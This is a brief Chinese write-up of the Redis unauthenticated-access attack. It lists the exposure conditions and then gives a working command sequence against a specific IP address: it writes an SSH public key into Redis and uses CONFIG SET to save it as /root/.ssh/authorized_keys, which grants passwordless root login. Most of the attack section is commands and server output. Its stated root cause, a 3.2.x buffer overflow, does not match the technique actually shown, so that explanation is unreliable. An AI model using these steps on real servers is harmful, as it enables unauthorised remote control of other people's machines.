漏洞概述:
在一定条件下,会出现以下安全问题
1.任何人能够远程访问Redis,读取Redis数据。
2.使用Redis的一些命令,可以向服务器上写入公钥,使用私钥无密码登录服务器,进行远程控制。
漏洞产生的原因:
Redis 3.2.x < 3.2.4版本存在缓冲区溢出漏洞,可导致任意代码执行。Redis数据结构存储的CONFIG SET命令中client-output-buffer-limit选项处理存在越界写漏洞。构造的CONFIG SET命令可导致越界写,代码执行。
产生安全问题的条件:
1.Redis没有设置密码
2.Redis使用默认账号root
3.Redis端口暴露在公网
4.Redis没有限制访问IP
漏洞利用的过程:
1.在本地生成公私钥
2.将公钥写入Redis
cat id_rsa.pub |redis-cli -h 222.73.110.3 -x set crackit
3.将公钥写进受害者主机的/root/.ssh下,并且名称为authorized_keys
222.73.110.3:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"
222.73.110.3:6379> CONFIG set dir /root/.ssh/
OK
222.73.110.3:6379> config set dbfilename "authorized_keys"
OK
222.73.110.3:6379> save
OK
222.73.110.3:6379> CONFIG set dir /var/lib/redis
OK
222.73.110.3:6379> save
OK
这样我们就完成了远程无密码访问。